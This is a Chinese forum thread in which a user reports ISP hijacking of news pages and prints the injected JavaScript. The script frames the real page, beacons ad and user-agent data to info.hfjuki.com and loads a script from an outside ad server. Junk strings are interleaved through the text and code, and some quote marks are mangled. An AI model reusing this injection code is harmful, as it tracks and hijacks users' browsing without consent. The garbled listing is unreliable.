上网奇遇记

hudba

% O4 v$ ~" P* Z- k8 D* i上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
% [' K# R9 c, l. Q; w6 N: m
) w9 s4 s) ~2 p% \6 G- r接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}
- f! C+ U; Y% j& X. o

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

% r, ?8 M& m3 Z顺便查下ip138：

7 ]. a$ u1 I) G" h这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   1 d( ^4 j! y( }0 P) o, D
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   : P" N  }) V! `$ G. v8 l) W
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   
8. 
   ( Y' A4 k! l$ q
9. function getParameter(name, paraStr) {
   4 X. H3 H* \4 P) G$ Y
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    - ]) b" e4 E$ `; K. Z4 A
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    1 H9 E9 B( j+ y# Q5 {( `6 n% B5 i4 ]
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    ' f1 {6 o+ ?9 E/ x. o; |
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    3 w8 T0 U0 l8 i( [8 C# X
18.                                         - TmpStr.indexOf(paraName) + 1);
    ; u, Y: W/ ^, V6 N; g0 c2 n
19.                 } else {
    8 \/ T% h+ Q! c5 _/ i
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    
22. 
    2 k) j& E, E# D& ^6 G1 b* h
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    ) T6 }/ H$ K( K
25.                 result = "No such parameter";
    
26.         }
    + \; y; w4 f% y- k
27.         return (result.replace("&", ""));
    ( q) R! Y6 L7 M8 H: N
28. }
    0 x9 p/ {2 k- U' o3 E" ~; j' p
29. 
    1 T. k( P, I2 j4 k% F% m3 Y) {
30. function getMainJs() {
    + Q) C* H  K8 w8 |# }
31.         var scripts = document.getElementsByTagName("script");
    8 G/ C! q9 [+ V  u+ I0 v( A
32.         var s = null;
    
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    5 c+ D3 s6 i  _+ W) _0 Z7 q
35.                         s = scripts[i];
    & S7 z. @% W8 F. ]: n
36.                         break;
    & j$ q) B/ j$ G+ ?7 _
37.                 }
    7 q1 C" _8 ^& R- L$ [6 e( G
38.         }
      `3 g5 s! Z8 p: |$ L, L- g
39.         return s;
    
40. }
    
41. 
    
42. function appendParam(oStr, aStr) {
    7 h& r  i0 c; J$ _" a- W
43.         if (oStr.indexOf('?') > 0) {
    1 d& u8 @; k  M
44.                 oStr = oStr + "&" + aStr;
    ) [7 m; M0 k3 Z; I  @  K0 `! o* k( ~
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    
48.         return oStr;
    
49. }
    
50. 
    
51. window.onerror = function() {
    8 a* x, N! P3 K
52. };
    
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    . L) F# B9 X* b" [
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
    8 M9 I6 Z; e1 w1 w% y' U
61. 
    
62.         var doc;
    
63.         try {
    $ P1 [3 x& {/ h/ Y) P8 \7 s
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    * Y, s8 _8 S* T
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    
69.         } catch (ex) {
    4 O- \1 D8 Q# U# k
70.         }
    
71. 
    6 Y* M% r6 w$ |1 D1 f4 u
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    1 p6 h4 o! C8 I, V
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    4 f( X0 k6 H- X3 _2 i
78.                 document.title = doc.title;
    $ f. b1 S# j/ m% [5 T* \: S
79.                 setTcAdvVisible();
    - ?4 d& Z8 U8 H5 `4 T3 |# X
80.         }
    % D- ]3 G9 W3 t: j1 l
81. }
    
82. 
    
83. setTimeout("setTcTitle();", 1000);
    & j+ |( C/ E- v! K% W
84. 
    
85. var g_isHaveVisible = false;
    - L6 D+ y% B  Z, \4 k! |
86. function setTcAdvVisible() {
    0 e4 ~. F9 j* h" ?$ v6 Z
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    ) U. I3 u: d  s$ F
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    9 h5 w. O/ @( H1 O/ Z
97.         this.tctype = "";
    
98.         this.radius = "";
    . B! H! `+ p9 x( O( S
99.         this.rlu = "";
    
100. }
     
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     8 e, v4 M2 s8 d. Z9 v2 a0 y7 c+ Z
103.         var paraStr = locationSearch();
     ' \' c" P( C! K+ u3 l7 n5 J
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     5 Z+ i3 B/ N$ ~- f+ w1 ^% l
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     3 M/ u3 t8 O  W% t0 E
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     ) b5 d, u$ T8 _2 T3 S" C/ z6 p
111. 
     
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     + }+ w% [- k8 f0 j  O. G" ?
113.         var doc;
     . g" C' R% [, I- L/ N0 `( c3 g
114.         try {
     
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     3 P! j2 A  K  y, e0 {- U6 T# V
117. 
     
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     2 x& H. X: B$ Y' C) S; F" K+ l
122.         } catch (ex) {
     % c& `! W: a" j
123.         }
     
124.         return doc;
     ' c2 U, b8 o9 q
125. }
     . p/ m. k+ H: B1 o- F
126. 
     - O: C  D8 f* H9 V" u. v
127. UrlAnalyzer.prototype.setDomain = function() {
     " h0 ]2 X% V2 U
128.         if (undefined != document.title && "" == document.title)
     ) z( q, z  b+ i* A
129.         {
     & R5 v/ `2 W* C2 b9 q
130.                 var index = document.domain.indexOf(".");
     
131.                 if (undefined != index && -1 != index) {
     + t7 N7 _& ?1 v4 Q8 C
132.                         document.domain = document.domain.substring(index + 1,
     5 J8 {1 ]! g/ t1 g
133.                                         document.domain.length);
     ' E0 L( k$ K$ y- v# j
134.                 }
     7 l" m3 s9 R7 P2 T4 g
135.                
     2 G: L: c. ]; }( {
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     2 m! b4 o' T( q) n4 e- J
139.                         setTcAdvVisible();
       m/ l. n1 _2 x  E  p4 F
140.                 }
     0 X1 o! b0 t8 g
141.         }
     
142. }
     
143. 
     3 V6 A, f- K3 v! c6 d9 [  y8 \
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     ( Q  a9 {6 x# ~% s6 p; b& A6 y" T9 M1 `
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     
148. 
     - e+ _! `+ x6 ~$ h8 C
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     ' e! k9 c5 U/ U
151.                         // var index = document.domain.indexOf(".");
     4 W* s+ k" i9 l1 U; t+ \" d( Q0 K( K
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     # W. n0 G' R6 Q: O$ W; i
155.                         // }
     , C. S2 q+ d8 b$ L% U# _2 h) v+ V) c
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     & B- W4 v; S( I; j
159.                         // doc.title) {
     7 [4 Y4 t" H. T: @" n9 G
160.                         // document.title = doc.title;
     / E/ {9 h7 v& N% ]4 ~3 b
161.                         // setTcAdvVisible();
     
162.                         // }
     
163.                 }
     
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     + P5 N  Z9 H" K2 v2 |- E( ~
165.                 document.title = doc.title;
     6 _  S4 |; j" }
166.                 setTcAdvVisible();
     
167.         }
     6 ]' r( S( H$ N# j
168. }
     6 D- Z# i' h- V' {0 H) G/ l8 ~
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     5 S! w$ M1 \* x  g
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     ) J* K9 z. ~# v
173. 
     * y$ v  w, e, P5 l% T8 Z
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     3 o, z" H# u2 v: Z2 a: `
176. 
     
177.         var advUrl = htmlStr
     4 z8 p  z; B2 c1 K: f& O
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     4 q! O, k2 `+ ]! h5 ^9 [3 \
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     4 s* F5 ^1 @: D: j0 `
180.         document.write(advUrl);
     0 K# F) q: G/ d# M& K1 W* v, H1 y
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     , j1 J- [6 A7 _7 K5 O! T
186.                         self.iframeCallback.call(self, null);
     
187.                 });
     # h  S0 L4 g2 S* |
188.         } else {
     6 u6 x. S! T  y" E  ~
189.                 iframe.onload = function() {
     " ]* [( K) h% a* V5 k# n
190.                         self.iframeCallback.call(self, null);
     ' q5 [3 p6 n. k5 L1 C4 ]
191.                 }
     8 n' t! W  `2 J9 M0 Q1 z: C3 S
192.         }
     
193. }
     
194. 
     5 \4 K$ O4 y8 b" C) D. J" d, \. g
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     . d" M$ B3 \: T4 k- A
199.         this.executeHtmlContext();
     
200. }
     / k2 x' ]; z0 u8 B
201. 
     8 A" l/ x7 m% S1 _/ D) |
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     

复制代码

+ l* R* z  a( K( r& t$ |/ U
% d5 o' d5 T6 p; C5 f( _: h% W

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
* a4 e% m2 p4 ]% g' Z: {所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

) `: O) n% B; C" ZTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
% b: F0 M8 C( ATCP劫持，换DNS也不管用的。

. J3 O: L4 k4 N幸好联通还木有这么强的技术

哈默

在国内，习惯就好